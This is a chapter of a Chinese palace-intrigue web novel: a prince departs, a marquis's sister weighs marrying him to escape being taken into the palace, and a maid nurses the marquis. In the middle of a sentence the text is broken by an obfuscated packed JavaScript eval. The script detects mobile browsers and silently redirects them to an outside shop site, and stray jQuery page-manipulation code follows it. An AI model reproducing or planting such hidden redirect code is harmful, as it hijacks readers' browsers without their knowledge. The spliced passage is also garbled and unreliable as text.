第二天一早,晨光微亮,院墙上还沾着露水,赵璟熙便准备返京,刘止煜兄妹前去相送。

    辒辌车停在巡抚府大门前,行囊早已装好,游琊与雷弋站在车前等候。

    游琊看见跟在刘长歆身后的聂显荧和秋余,又不屑地哼一声,然后死死地盯住她们。

    聂显荧和秋余二人被盯得汗流浃背,只敢缩着脑袋看地面,就怕一个不小心对视了他会直接冲过来一拳打扁她们。

    站在前面的刘长歆精神萎靡,昨晚因为因为的事翻来覆去一整晚都没睡着,天刚亮就被喊起来给赵璟熙送行。本来就心烦意乱,一见到他更是心乱如麻,完全没有谈话的兴致,就干站在刘止煜旁边当吉祥物。

    赵璟熙瞄了眼她阴沉的脸色和眼下的青黑,猜到她没休息好,对刘止煜说道,“这几日多有叨扰,听闻盐税一案已经有眉目了,相信过不了多久也会启程返京,届时景明再登门致谢。”说到此处顿了顿,掩唇轻咳两声,“到时还希望侯爷的答案不要让我失望啊。“

    听见此话,刘长歆原本迷糊的脑子一下警铃大作,警惕地盯着赵璟熙。

    刘止煜没有正面回答他:“不过是暂住几日,何谈叨扰,王爷慢走。”

    感受到她的视线,赵璟熙回以和煦一笑,抬手抱拳,冲刘家兄妹两人道:“留步。”说完就转身上车。

    刘长歆看他被游琊搀扶着上了马车,待他坐稳后马车便往广泱门驶去,再看刘止煜背手望着马车走远,脸上笑意不见,心中不安极了。

    “睿安王说的是什么意思?”

    “没什么,不过是些官场上的事。”刘止煜反身回府。

    刘长歆试探道:“……可是与太后有关?”

    刘止煜脚步一顿,凝眸望向跟在身后的刘长歆,肃声问道:“谁同你说了什么?”

    刘长歆扯着手中的绣帕,心虚地说:“听说太后有意让皇上收我入宫为贵妃……”

    “听说?”刘止煜奇怪,他也是昨晚才收到的消息,“你听谁说的。”

    “没谁,就是听说的嘛。”

    府上除了他,有这本事的就是刚刚送走的赵璟熙,想起那人一肚子坏水:“睿安王告诉你的?”

    “……”

    不说话就是猜中了,“我竟不知你何时与他这般交好的?”

    “没有,不过是偶然碰上过几次。“

    他才不信什么偶然,“他为何跟你说这事,还跟你说了什么?”

    “他说我可以嫁给他,待他去世之后我就可以回到侯府生活,没人会阻止我。”

    “荒唐!”刘止煜勃然大怒,“婚姻大事,岂可儿戏。此事你不必担心,我会处理,有阿兄在,你谁都不用嫁。”

    “可我觉得他说的挺有道理。”刘长歆将盘算了一晚上的结论说出来,“阿兄如今锋芒太盛,那边刚立下战功,这边又勘破盐案,百姓无不夸赞,皇上年幼,根基本就不稳,为制衡侯府太后肯定是不会放过我的婚事的。与其让她利用我的婚事拿捏你,不如我直接嫁了,况且睿安王在朝中向来中立,身子又不好,他殂逝之后我便自由了,没什么不好的。“

    “这就是你想一晚上就想出的东西?”看她眼下青黑,心中忍不住心疼,摸摸她的头,缓下语气,“阿兄拼死拼活上战场,为了就是让你过得顺遂,又怎会看着你往火坑里跳。”

    “阿兄……”刘长歆自然知道,心中难免酸涩,“你为我盘算,我自然也不想让你因为我受制于人。”

    “太后心思复杂,那赵璟熙又能是什么好人?”他苦口婆心劝,生怕刘长歆将赵璟熙的话听进心去,“以后你少与他来往。“

    “你若不答应,大不了我直接上山做姑子,我就不信,还有硬逼着人成亲的道理。”

    “胡闹。”

    最后兄妹二人还是不欢而散,聂显荧站在后面,将二人的谈话,听了个完全。

    心中唏嘘,即使已经贵为侯爵,还是会有这么多不得已。

    此外,她还在想,岁昭想让她做的会不会就是帮助刘长歆摆脱嫁进宫的命运呢?

    不管是与不是她都是愿意帮刘长歆的,一是同为女子,她能理解她的苦处,二是宫深似海,进去之后日子指不定多难,她不能眼睁睁地看着刘长歆进去受苦。

    刘长歆跟刘止煜争执之后回到幽香阁,聂显荧和秋余跟着她回到屋里,见她兴致不高,秋余贴心问道:“小姐要不要再睡会儿?”

    “不了,心里头装着事根本睡不安心。”刘长歆拒绝,跟聂显荧说:“之前听阿兄说你想将武艺捡起来,咱们今日就开始吧。”

    “啊……好。”聂显荧还在想有什么方法可以试一试,答应完才反应过来刘长歆说的什么,肩膀一垮,点想反悔:“要不还是改日?”

    “就现在吧。”她得让自己忙起来,要不闲着就总惦记着这事,“你刚恢复没多久咱们今日从简单的开始,等你先适应适应,慢慢再加强训练强度。”

    知道她不自信,宽慰道:“你功底子好,不用担心。”

    “是啊,有小姐亲自教你,岁昭姐姐你就放心吧。”秋余嗓音甜甜的,跟着附和道。

    哪知刘长歆突然说:“秋余你也一起学吧。”

    “啊?”这回轮到秋余后悔,“算了吧小姐,你又不是不知道我没这方面的天赋。”

    以前也尝试过教秋余功夫,但她总是学着学着就喊累。刘长歆经过这两次遇险,决心这次一定得让她也学学,“不用有压力,学多少是多少,有点傍身的日后再遇见危险能保护好自己。”

    聂显荧和秋余反抗无效,趁着上午太阳不烈,刘长歆让她们两个到树荫底下扎马步练桩功,自己在一旁练剑。

    这一站就是一个时辰,结束之后二人腿软得站不住,互相搀扶着坐在院中的秋千上,秋余摊在聂显荧身边都快晕过去了,“小姐,练不动了。”

    刘长歆出了一通汗,这会心情舒畅多了,决心这会不吃秋余耍赖这套,笑着通知,“今日先这样,夏季午时暑气盛,容易中暑。咱们明日起早些,可以多练一会儿。”

    聂显荧确实有些底子,练起来比秋余轻松些,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557628|203569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没她反应这么大。但听刘长歆这么说还是眼皮一翻,直想就这么昏过去算了,转念一想,都是为了以后打算,喘着气答应,“好。”鼓励秋余,“秋余你可太厉害了,竟然真的站完了,要不是你陪着我,我到一半的时候就想放弃了。”

    秋余原本还试图挣扎,听聂显荧这么夸她,一下责任感和虚荣心都得到了满足,到嘴边的丧气话拐了个弯,“明天继续。”

    聂显荧跟刘长歆相视一笑,都觉得她可爱极了,继续哄道,“太好了,明天有你陪我我肯定还能坚持。”

    “只要你能坚持,我都配合你。”

    下午三人就在幽香阁绣花闲谈,晚饭刘长歆还跟刘止煜别扭着,就没和他一起吃,自己在房里吃。聂显荧伺候完她用饭,还得去给刘止煜送药,估摸了一下时间,去伙房找赵婆子拿药。

    书房里,刘映正在报告自己的调查情况。

    “属下调查了近三个月杨家的出入记录,并未发现异常。就把近一个月与祠堂有过接触的人都盘问了一通,锁定在杨清和大公子杨汀身上。”

    “他二人如何说的?“

    “杨清还是一样,杨汀并未否认账本之事,只说家中事务都是杨清在管,自己什么都不清楚。”

    刘止煜挑眉,把问题都推给自己妹妹,这杨汀还真是没有本事。

    刘映接着道:“属下将杨汀的往来人员查了个遍,发现月初是其与吕家旁支的吕少轩有过接触。”

    刘止煜倒是不意外,杨清不怕人查除了做事谨慎,过于自信以为自己没留痕迹之外,背后肯定还有大势力撑腰,她才敢这样大胆谋划,“想办法拿到账本和证词。”

    门外响起敲门声,是聂显荧来送药。

    “你下去吧。”

    刘映退出去,让她进来。

    聂显荧端着药进去,还是闻到冰片香,瞄了眼还在冒烟的香炉,最烦这种不遵医嘱的病人,语气生硬:“侯爷,喝药。”

    刘止煜眼神跟随,看到她的目光落在何处,轻咳一声,“忘记嘱咐打扫书房的丫头换掉了。”然后端着药又是一口气咽下。

    “我只是一个建议,听与不听是王爷的事。”聂显荧面上带着标准的服务业的微笑,反正头疼的也不是她,她才懒得管。

    刘止煜把碗还给她,闭眼,把后背倚在靠背上,“按吧。”

    聂显荧熟练地按照昨天的流程给他推拿,房中又是熟悉的寂静。

    “阿歆怎么样?”

    “小姐好着呢。”

    刘止煜睁眼看她,正低垂着眉眼给他按百会穴,以为她讲话阴阳怪气的是在记恨他早上与刘长歆说话太重了,反问:“那你哪来的火气?”

    “侯爷说的什么话。”抬眼回视,面上还是标标准准的微笑,“侯爷是主,我是仆,哪敢冲你发火。”

    “你最好是。”说话夹枪带棒的,真当他听不出来,但又指不出错处,不再纠结,转回话题,“你也劝着点阿歆,那睿安王不是个省油的灯。阿歆单纯,以为嫁给他就省事了,实则他才是最不好相与的。”